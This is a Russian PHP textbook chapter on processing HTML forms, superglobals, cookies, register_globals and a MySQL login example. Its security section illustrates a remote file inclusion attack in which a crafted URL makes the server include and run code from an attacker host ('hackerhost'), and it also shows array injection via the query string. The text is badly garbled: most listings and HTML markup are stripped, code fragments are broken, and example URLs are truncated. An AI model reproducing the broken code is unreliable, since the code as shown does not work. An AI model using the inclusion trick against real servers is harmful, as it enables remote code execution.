Книга: Web-программирование. Обработка HTML-форм

Web-программирование. Обработка HTML-форм

Содержание

• Bapиaнт 1 (по умолчанию) Вариант 2 В окне браузера форма выглядит следующим образом: 1.3.5. Зависимые переключатели Если в форме присутствует несколько одноименных зависимых переключателей типа radio, то включен из них может быть только один. При выборе одного переключателя все одноименные зависимые переключатели автоматически выключаются. В качестве имени переключателей воспринимается значение атрибута name. Листинг radio_1.html. Форма с зависимыми переключателями Зависимые переключатели Мужчина Женщина В окне браузера форма выглядит следующим образом: Первый переключатель (со значением male) активен по умолчанию (установлен атрибут checked). Как только пользователь нажмет кнопку Передать, сценарию sex.php будет передан параметр sex (атрибут name обоих переключателей) со значением male. Если же пользователь выберет другой вариант (female), сценарию будет передано значение параметра sex. 1.3.6. Загрузка файлов Тег INPUT позволяет создавать поле выбора файла для отправки. При этом формат тега таков: 1.3.7. Кнопка отправки формы Кнопка отправки служит для отправки сценарию введенных в форму значений. Синтаксис тега INPUT таков: Если теперь запустить этот сценарий из браузера (перед этим сохранив его в файле test.php в корневом каталоге сервера) таким образом: http://localhost/qs.php?this+is+the+world/ то получим документ следующего содержания: Данные из командной строки: this+is+the+world Обратите внимание на то, что URL-декодирование символов не произошло: строка $_server [' query_string '], как и одноименная переменная окружения, всегда приходит в той же самой форме, в какой она была послана браузером. Так как РНР изначально создавался именно как язык для Web-программирования, то он дополнительно проводит некоторую работу с переменной query_string перед передачей управления сценарию. А именно, он разбивает ее по пробельным символам (в примере пробелов нет, их заменяют символы +, но эти символы РНР также понимает правильно) и помещает полученные кусочки в массив-список $argv, который впоследствии может быть проанализирован в программе. Массив $argv используется при программировании на РНР крайне редко, что связано с большими возможностями интерпретатора по разбору данных, поступивших от пользователя. Однако в некоторых (учебных) ситуациях его применение оправдано. 2.1. Форма для передачи данных Вернемся к поставленной задаче. Как сделать, чтобы пользователь мог в удобной форме ввести зарегистрированное имя и пароль? Очевидно, придется создать что-нибудь типа диалогового окна Windows, только в браузере. Для этого понадобится HTML-документ (например, form.html в корневом каталоге) с элементами этого диалога — текстовыми полями — и кнопкой. Листинг form.html. Страница с формой Имя: Если при вводе данных будет совершена ошибка, например, неправильно введено имя: то доступ будет закрыт: Здесь применена инструкция if-else (условное выполнение блока) и функция system() (запуск команды операционной системы). Инструкция if-else — условный оператор. Его формат таков: if (логическое_выражение) инструкция_1; else инструкция_2; Действие инструкции следующее: если логическое_выражение истинно, то выполняется инструкция_1, а иначе — инструкция_2. Как и в любом другом языке, конструкция else может опускаться, в этом случае при получении лолжного значения просто ничего не делается. Пример: if ($salary>=100 && $salary $b) { print “а больше b”; $c = $b; ) } elseif ($a = = $b) { print “а равно b”; $c = $a; ) } else { print “а меньше b”; $c = $a; } echo «Минимальное из чисел: $с»; Это не опечатка: elseif пишется слитно, вместо else if. Так тоже можно писать. Конструкция if-else имеет еще один альтернативный синтаксис: if (логическое-_выражение) : команды; elseif (другое_логическое_вьражение) : другие_команды; else: иначе_команды; endif Обратите внимание на расположение двоеточия (:). Если его пропустить, будет сгенерировано сообщение об ошибке. И еще, как обычно, блоки elseif и else можно опускать. Для вставки HTML-кода в тело сценария достаточно закрыть скобку ?>, написать этот код, а затем снова открыть ее при помощи Привет, ! Ваше имя: В окне браузера форма выглядит следующим образом: Теперь усовершенствуем скрипт — сделаем так, чтобы при запуске без параметров сценарий выдавал документ с формой, а при нажатии кнопки — выводил нужный текст. Самый простой способ определить, был ли сценарий запущен без параметров — проверить, существует ли переменная с именем, совпадающим с именем кнопки отправки. Если такая переменная существует, то пользователь запустил программу, нажав кнопку (листинг 4). Листинг lock.php. Усовершенствованный скрипт блокировки сервера Имя: Пароль: В окне браузера форма выглядит следующим образом: Из этого примера можно почерпнуть несколько полезных приемов: ● Конструкция является более коротким обозначением для , и предназначена для того, чтобы вставлять величины прямо в HTML-страницу. ● В параметре action тега не задано явно имя файла сценария, а извлекли его из переменной окружения script_name (которая, как и все такие переменные, хранится в массиве $_server). Это позволило не «привязываться» к имени файла, т. е. теперь можно его в любой момент переименовать без потери функциональности. В старых версиях РНР 4 переменная $script_name могла содержать неправильное значение. Например, если воспользоваться способом инсталляции, когда устанавливают РНР как внешнюю программу, а не модуль Apache, в РНР версии 4.1 и младше переменная $script_name будет содержать строку /_php/php.exe, что, конечно же, нам не подходит. «Правильное» значение в этом случае можно найти в переменной окружения redirect_url или в переменной РНР $redirect_url. Однако учтите, что в Unix, наоборот, redirect_url работать не будет! РНР 5 всех этих недостатков лишен. ● Исчезла необходимость в промежуточном файле form.html: его код встроен в сам сценарий. 2.3. Трансляция переменных окружения «Интеллектуальные» возможности РНР на этом далеко не исчерпываются. Дело в том, что в переменные преобразуются не только все данные формы, но и переменные окружения (включая query_string, content_length и многие другие). Например, приведем сценарий (листинг 5), печатающий IP-адрес пользователя, который его запустил, а также тип его браузера (эти данные хранятся в переменных окружения remote_user и http_user_agent, доступных в скрипте через массив $_server). Листинг ip.php. Вывод IP-адреса из браузера пользователя Ваш IP-адрес: Ваш браузер: 2.4. Работа с cookies Использование cookies удобно как для программистов, так и для пользователей. Пользователям не приходится каждым раз заново вводить информацию о себе, а программистам cookies помогают легко и надежно сохранять информацию о пользователях. Cookies — это файлы, хранящие строки, содержащие пары «имя-значение». С этими строками связан URL, по которому браузер определяет, нужно ли посылать cookies на сервер. В отличие от сеансовых переменных, которые хранятся на сервере, cookies расположены на клиентской машине. Установка cookies Установка cookies производится с помощью функции setcookie: bool setcookie (string name [, string value [, int expire [, string path [, string domain [, int secure]]]]]) Эта функция имеет следующие аргументы: name — имя cookie; value — значение, хранящееся в copkie с именем name; expire — время в секундах с 1 января 1970 года. По истечении этого времени cookie становится недействительным; path — путь, по которому доступен cookie; domain — домен, из которого доступен cookie; secure — директива, определяющая, доступен ли cookie не по запросу HTTPS (HyperText Transmission Protocol, Secure — протокол защищенной передачи гипертекстов). По умолчанию эта директива имеет значение 0, что означает возможность доступа к cookie по обычному запросу HTTP. 2.4.1. Пример приложения с cookies Создадим сценарий, подсчитывающий при помощи cookies количество обращений посетителя к странице. Необходимо устанавливать cookie перед отправкой в браузер каких-либо заголовков, поскольку сами cookies устанавливаются в виде заголовков. Потому, если установить cookies после какого-либо текста, отправляемого в браузер, то возникнет ошибочная ситуация. Заметим, что в листинге мы обращаемся к переменной $counter, в которой хранится значение cookie, как к глобальной, что требует наличия включенной директивы register globais. Если эта директива отключена, то значение, хранящееся в cookie, можно получить через глобальные массивы $HTTP_COOKIE VARS[»name»] и $_COOKIE[»name»]. Листинг cookie.php. В cookie с именем counter храниться число посещений страницы пользователем (register globais=off) В окне браузера выглядит следующим образом: Некоторые пользователи отключают cookies в своих браузерах. Поэтому для корректной работы приложения, использующего cookies, в него следует помещать код, проверяющий, включены ли cookies у посетителя. Если нет, то пользователю сообщается о необходимости включить cookies. Листинг cookie_pr. Пример кода проверяющего включение cookie Функцию setcookie () всего лишь посылает в браузер пользователя cookie с указанным именем и значением. 2.5. Обработка списков с множественным выбором В списках множественного выбора можно выбрать не одно, а сразу несколько значений. Чтобы сделать список с множественным выбором, необходимо для тега SELECT указать атрибут multiple: Январь Февраль Mapт Апрель Maй Июнь Июль Август Ceнтябрь Oктябрь Hоябрь Декабрь После отправки формы параметры передаются так: name=value1&name=value2&name=value3... Переменная $name = month2 будет содержать только последнее значение (value N). Пусть выбрали Maй и Август. Тогда после отправки формы сценарию придет строка параметров month2 = Maй&month2 = Август, и в переменной $_REQUEST ['month2'] окажется, конечно, только Август. Первый пункт (Maй) потерялся. Для решения подобных проблем в РНР предусмотрена возможность давать имена полям формы в виде «массива с индексами» month2[](квадратные скобки - это признак массива.): Январь Февраль Mapт Апрель Maй Июнь Июль Август Ceнтябрь Oктябрь Hоябрь Декабрь Теперь сценарию придет строка month2[]= Maй&month2[]= Август. Интерпретатор обнаружит, что мы хотим создать «автомассив», т. е. массив, который не содержит пропусков и у которого индексация начинается с нуля. Интерпретатор создаст запись $_REQUEST ['month2'] типа «массив», содержимое которого следующее: array (0=> » Maй «, l=> » Август «). Как мы видим, в результате ничего не пропало — данные только слегка видоизменились. В результате мы получим в $_REQUEST массив массивов (или двумерный массив, как его еще называют). Таким образом, множественный список преобразован в массив. Массив представляет собой индексированную совокупность переменных одного типа. Каждая переменная или элемент массива имеет свой индекс, т.е. все элементы массива последовательно пронумерованы. Обход массива в цикле организуют (обрабатывают его элементы) с помощью цикла foreach. Принцип работы этого цикла прост: при проходе каждого элемента массива в переменную $key помещается индекс этого элемента, а в переменную $value – его значение. Нам даже не нужно знать количество переданных элементов списка. Предварительно лишь нужно сообщить РНР, что мы будем передавать массив: Напомним, что квадратные скобки — это признак массива. Обрабатывается массив так: foreach($month2 as $key=>$value) echo “$key = $value ”; Листинг month2.html. Форма списка с множественным выбором Обработка списка с множественным выбором Январь Февраль Mapт Апрель Maй Июнь Июль Август Ceнтябрь Oктябрь Hоябрь Декабрь Листинг hello2.php. Обработка списка с множественным выбором при включенной директиве register_globals В окне браузера форма выглядит следующим образом: Природа этой ошибки подробно будет рассмотрена в п. 3: «Какой режим выбрать: register_globals = off & on?». Здесь заметим лишь, что мы обратились к переменной $month2 как к глобальной, что требует наличия включенной директивы register_globals=on. Если эта директива отключена (register_globals=off), что настоятельно рекомендуется делать, то нужное значение можно получить через глобальный массив $_REQUEST['month2']. Поэтому сделаем необходимые исправления. Листинг hello2.php. Обработка списка с множественным выбором при отключенной директиве register_globals Прием с автомассивом в поле для списка с множественным выбором выглядит довольно элегантно. Однако не стоит думать, что он применим только к этому элементу формы: автомассивы можно применять и в любых других полях. Вот пример, создающий два переключателя (кнопки со значениями вкл/выкл), один элемент ввода строки и одно текстовое (многострочное) поле, причем все данные после запуска сценария, обрабатывающего эту форму, будут представлены в виде одного-единственного автомассива: Листинг txt.html. Применение автомассивов Применение автомассивов Многострочный текст В окне браузера форма выглядит следующим образом: Листинг hello3.php. Сценарий обработки автомассивов Видно, что РНР совершенно нет никакого дела до того, в каких элементах формы мы используем автомассивы — он в любом случае обрабатывает все одинаково. И это, пожалуй, не только правильно, но и удобно. 2.6. Обработка массивов Рассмотрены почти все возможности РНР по автоматической трансляции данных формы. Напоследок взглянем на еще одно полезное свойство РНР. Пусть имеется такая форма: Листинг txt1.html. Форма для примера «Обработка массивов» Обработка массивов Имя: Адрес: Город: Новомocковск Kиев В окне браузера форма выглядит следующим образом: После передачи подобных данных сценарию на РНР в нем будет инициализирован ассоциативный массив $Data с ключами name, address и city. То есть, имена полям формы можно давать не только простые, но и представленные в виде одномерных ассоциативных массивов. В сценарии к отдельным элементам формы можно обратиться при помощи указания ключа массива: например, $_REQUEST ['Data'] ['city'] обозначает значение той радиокнопки, которая была выбрана пользователем, а $_REQUEST ['Data'] ['name'] — введенное имя. Предупреждение. В сценарии обязательно нужно заключать ключи в кавычки или апострофы. В противном случае интерпретатором будет выведено предупреждение. В то же время, в параметрах name полей формы, наоборот, нужно их избегать — так устроен РНР. Напишем сценарий. Листинг hello4.php. Сценарий для обработки массива 2.7. Особенности обработки независимых переключателей Рассмотрим вопрос, который находит частое практическое применение в Web-программировании. Независимый переключатель (checkbox или более коротко — флажок) имеет одну довольно неприятную особенность, которая иногда может помешать Web-программисту. Если перед отправкой формы пользователь установил независимый переключатель в выбранное состояние, то сценарию в числе других параметров приходит пара имя_флажка=значение. В то же время, если флажок не был установлен пользователем, указанная пара не посылается. Для упрощения обработки, хотелось бы, чтобы в невыбранном состоянии флажок также присылал данные, но только значение было равно какой-нибудь специальной величине — например, нулю или пустой строке. Добиться этого эффекта в РНР довольно несложно. Достаточно воспользоваться одноименным скрытым полем (hidden) со значением, равным, например, нулю, поместив его перед нужным флажком. Листинг checkbox.php. Особенности обработки независимых переключателей Какие языки программирования вы знаете? PHP Perl Инструкция foreach предназначена для перебора всех элементов массива, указанного в ее первом аргументе. Теперь в случае, если пользователь не выберет никакой из флажков, браузер отправит сценарию пару known [язык] = 0, сгенерированную соответствующим скрытым полем, и в массиве $_request [' known'] создастся соответствующий элемент: Если пользователь выберет флажок, эта пара также будет послана, но сразу же после нее последует пара known [язык] =1, которая «перекроет» предыдущее значение: Если бы не были включены скрытые поля в форму, сценарий печатал бы только сообщения о тех языках, которые «знает пользователь», пропуская языки, ему «неизвестные». В рассмотренном случае сценарий реагирует и на сброшенные флажки. Такой способ немного увеличивает объем данных, передаваемых методом post, за счет тех самых пар, которые генерируются скрытыми полями. Впрочем, в реальной жизни это «увеличение» практически незаметно (особенно для POST-форм). 2.8. Диагностика создаваемых массивов Напомним, какие массивы создает РНР, когда обрабатывает данные, пришедшие из формы: ● $_GET — содержит GET-параметры, пришедшие скрипту через переменную окружения QUERY_STRING. Например, $_GET [' login']; ● $_post — данные формы, пришедшие методом post; ● $_cookie — все cookies, которые прислал браузер; ● $_REQUEST — объединение трех перечисленных выше массивов. Именно переменную $_REQUEST рекомендуется использовать в скриптах, потому что таким образом мы не «привязываемся» жестко к типу принимаемых данных (get или post); ● $_server — содержит переменные окружения, переданные сервером (отсюда и название). Может показаться, что это много. Чтобы не запутаться в переменных, рассмотрим полезный прием, помогающий при отладке сценариев: можно вывести все переменные в браузер. Листинг dump.php. Вывод всех переменных в браузер Задача данного сценария — распечатать в браузер все глобальные переменные программы (включая описанные выше массивы) в читабельном представлении. Глобальные переменные доступны через используемый массив $GLOBALS. Встроенная функция print_r() делает все остальное. Страница, генерируемая данным сценарием, весьма интересна. Рекомендуем поэкспериментировать с ней, передавая программе различные GET-данные (включая многомерные массивы) и подставляя ее в атрибут action различных HTML-форм. 3. КАКОЙ РЕЖИМ ВЫБРАТЬ: register_globals=off & on ? В рассмотренных примерах каждый раз при обращении к переменным, полученным из полей формы, писали: $_REQUEST[' … '] Это делать необходимо из-за того, что все данные из полей формы PHP помещает в глобальный массив $_REQUEST. В ранних версиях РНР (вплоть до РНР 4.1) существовал способ, позволяющий работать с полями формы значительно проще. По умолчанию РНР не помещал данные в $_REQUEST, а создавал обыкновенные глобальные переменные для каждого из полей формы. Например, можно было написать такой сценарий: Запустив его с нужным параметром, например: http://localhost/hello.php?name=Виктор Сергеевич, можно увидеть корректную страницу приветствия: РНР создал глобальную переменную $name, значение которой и напечатано: Такой режим работы называется register_globals и поддерживается в РНР по сей день. При этом в файле php.ini этот параметр находится во включенном состоянии: Однако, начиная с PHP 4.2.0, register_globals по умолчанию выключен в файле php.ini: Разработчики РНР поступили так по соображениям безопасности: часто скрипты, написанные в расчете на включенный register_globals, обнаруживали проблемы с защитой. Внимание Начиная с PHP 4.2.0, значение директивы register_globals по умолчанию установлено в off (отключено, раньше было on - включено). Положение register_globals в off делает предопределенные переменные доступными в глобальной области видимости. Например, чтобы получить: ● $DOCUMENT_ROOT, вам необходимо будет использовать $_SERVER['DOCUMENT_ROOT'] вместо $DOCUMENT_ROOT; ● $_GET['id'] из URL http://www.example.com/test.php?id=3 вместо $id; ● $_ENV['HOME'] вместо $HOME. Использование доступных зарезервированных предопределенных переменных PHP, таких как суперглобальные массивы, является предпочтительным. Предупреждение! В PHP 4.2.0 и позднее, набор по умолчанию предопределённых переменных, доступных в глобальной области видимости, изменён. Отдельные переменные ввода и сервера по умолчанию больше не размещаются непосредственно в глобальной области видимости; они размещаются в суперглобальных массивах. Вы можете форсировать старое поведение, установив register_globals в 'On' в вашем файле php.ini. Суперглобальные переменные PHP $GLOBALS Содержит ссылку на каждую переменную, доступную в данный момент в глобальной области видимости скрипта. Ключами этого массива являются имена глобальных переменных. $GLOBALS существует, начиная с PHP 3. $_SERVER Переменные, установленные web-сервером либо напрямую связанные с окружением выполнения текущего скрипта. Аналог старого массива $HTTP_SERVER_VARS (который по-прежнему доступен, но не рекомендуется). $_GET Переменные, передаваемые скрипту через HTTP GET. Аналог старого массива $HTTP_GET_VARS (который по-прежнему доступен, но не рекомендуется). $_POST Переменные, передаваемые скрипту через HTTP POST. Аналог старого массива $HTTP_POST_VARS (который по-прежнему доступен, но не рекомендуется). $_COOKIE Переменные, передаваемые скрипту через HTTP cookies. Аналог старого массива $HTTP_COOKIE_VARS (который по-прежнему доступен, но не рекомендуется). $_FILES Переменные, передаваемые скрипту через HTTP post-загрузку файлов. Аналог старого массива $HTTP_POST_FILES (который по-прежнему доступен, но не рекомендуется). Для дополнительной информации смотрите Загрузка методом POST. $_ENV Переменные, передаваемые скрипту через окружение. Аналог старого массива $HTTP_ENV_VARS (который по-прежнему доступен, но не рекомендуется). $_REQUEST Переменные, передаваемые скрипту через механизмы ввода GET, POST и COOKIE, и которым, следовательно, нельзя доверять. Наличие и порядок включения переменных в этот массив определяется в соответствии с директивой конфигурации PHP variables_order. Этот массив не имеет прямых аналогов в версиях PHP до 4.1.0 Рекомендуется писать скрипты с расчетом на выключенный register_globals. Сценарий, корректно работающий при выключенном register_globals, будет работать и при включенном режиме. Но не наоборот. Для повышения безопасности работы нужно сконфигурировать PHP с опцией register_globals = off. Отключив возможность внедрения отправленных пользователем переменных в PHP-код, можно уменьшить количество заражённых переменных, которые потенциальный взломщик может попытаться направить вам. Для подделки отправляемой информации понадобится дополнительное время, а ваши внутренние переменные будут эффективно изолированы от отправляемых пользователем данных. Хотя понадобятся некоторые дополнительные усилия при работе с PHP, но преимущества от этой работы с лихвой окупят эти затраты. 3.1. Первый пример уязвимости Для иллюстрации, как можно получить уязвимый сценарий, рассмотрим пример: Если в коде, помеченном выше звездочками, переменная $root по ошибке окажется не установленной (это может случиться по разным причинам), злоумышленник сможет запустить на сервере любой код, открыв следующий адрес в браузере: http://example.com/scnpt....ot=http://hackerhost Здесь example.com — это машина, на которой располагается скрипт, a hackerhost — компьютер злоумышленника, на котором также установлен Web-сервер. Рассмотрим подробнее, что же происходит. В скрипте значение переменной $root подставляется в строку и выполняется команда: include “http://hackerhost/library.php”; В большинстве случаев это заставляет РНР загрузить файл library.php с удаленной машины и передать ему управление. Иными словами, записав в файл library.php на своей машине любой код, хакер может запустить его на сервере example.com. 3.2. Второй пример уязвимости Предыдущий пример может показаться надуманным. Таким он и является: данная проблема может обнаружиться лишь в сценариях, насчитывающих несколько разных файлов, включающих друг друга. Там бывает весьма непросто уследить за глобальными переменными. Например, в известном форуме phpBB уязвимость описанного типа обнаруживалась и исправлялась несколько раз. Более простой пример связан с массивами. Многие люди пишут в своих программах: $artefacts[’rabbit’] = “white”; $artefacts[’cat’] = “black”; Они не задумываются над тем, что перед этим надо бы очистить массив $artefacts: считают, что он и так пуст в начале программы. Корректный же код должен выглядеть так: $artefacts = array(); $artefacts[’rabbit’] = “white”; $artefacts[’cat’] = “black”; К чему ведет пропуск $artefacts = array(); в начале скрипта? К тому, что, передав специально подобранную командную строку, хакер может добавить в массив $artefacts произвольные данные. Например, он запустит сценарий так: http://example.com/script...rtefacts[reboot]=yes При этом в программе с пропущенным обнулением массива $artefacts в него будут помещены не два, а три элемента (включая reboot=>yes). Скрипт никак на это не рассчитывает, что, в свою очередь, порождает потенциальные проблемы с безопасностью. Если глобальные переменные не создаются, то описанные уязвимости исчезают. Во всяком случае, так решили разработчики РНР. Всегда необходимо проверять код, чтобы гарантировать, что любые переменные, отправляемые из web-браузера, соответствующим образом будут проверены. Задавайте себе следующие вопросы: ● Будет ли данный скрипт воздействовать только на предполагаемые файлы? ● Могут ли быть обработаны необычные или нежелательные данные? ● Может ли данный скрипт быть использован несоответствующим образом? ● Может ли он быть использован в сочетании с другими скриптами негативным образом? ● Будет ли выполнен адекватный логинг для каждой транзакции? Задав себе эти вопросы при написании скрипта, а не потом, вы предотвратите возможную переделку для повышения защищённости. Вы не гарантируете полную безопасность вашей системы, но можете значительно повысить её. Возможно, вы захотите также предусмотреть отключение register_globals, magic_quotes или других установок, которые могут создать у вас неуверенность в проверке, источнике или значении данной переменной. Работа с PHP в режиме error_reporting(E_ALL) также может помочь, предупреждая вас о переменных, используемых до проверки или инициализации (что предотвратит операции с необычными данными). 3.3. Порядок трансляции переменных Теперь рассмотрим, в каком порядке записываются данные в массив $_REQUEST, a также в глобальные переменные, если включен режим register_giobals. Этот порядок, вообще говоря, важен. Например, пусть у нас есть параметр A=10, поступивший из query_string, параметр A=20 из POST-запроса (как мы помним, даже при POST-запросе может быть передана query_string), и cookie A=30. По умолчанию трансляция выполняется в порядке GET-POST-COOKIE (GPC), причем каждая следующая переменная перекрывает предыдущее свое значение (если оно существовало). Итак, в переменную $A сценария и в $_REQUEST [ 'A' ] будет записано 30, поскольку cookie перекрывает post и get. В режиме register_giobals в глобальные переменные попадают также значения переменных окружения. Записываются они в соответствии со схемой ENVIRON-MENT-GET-POST-COOKIE (EGPC). Иными словами, переменные окружения в режиме register_giobals перекрываются даже GET-данными, и злоумышленник может «подделать» любую из них, передав соответствующую переменную query_string при запуске сценария. Поэтому, если не хотите проблем, даже в режиме register_globals обращайтесь к переменным окружения только через: $_SERVER['переменная'] или getenv('переменная') 4. ПРИЛОЖЕНИЯ, ХРАНЯЩИЕ ДАННЫЕ О РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ В БАЗЕ ДАННЫХ MySQL Хранение информации о данных регистрации осуществляется в базе данных MySQL. Пример включает в себя три скрипта. В первом, auth.php, происходит регистрация пользователей. Второй скрипт, members_only.php, предоставляет информацию, доступную только для зарегистрированных пользователей. И, наконец, в третьем скрипте, destroy.php, реализован выход из системы. Для работы необходимо создать базу данных auth. Это можно сделать, выполнив SQL-запрос, текст которого приведен в листинге Листинг auth.txt. Создание базы данных create database auth; use auth; create table auth ( name varchar(10) not null, pass varchar(30) not null, primary key (name) ); Чтобы создать в системе базу данных, нужно войти в систему MySQL и ввести в командной строке MySQL: mysql> create database auth; После этого следует набрать: mysql>use auth; База данных создана: Следующий этап настройки базы данных — создание таблиц. Это делается при помощи SQL-команды CREATE TABLE: create table auth ( name varchar(10) not null, pass varchar(30) not null, primary key (name) ); Таблицы базы данных созданы: Можно просмотреть перечень таблиц созданной базы данных c помощью оператора SHOW: Можно отобразить информацию о столбцах всех таблиц c помощью оператора DESCRIBE: Для просмотра данных, сохраненных в каждой таблице, можно применить оператор SELEKT: Листинг auth.php. Код скрипта для регистрации пользователя Страница регистрации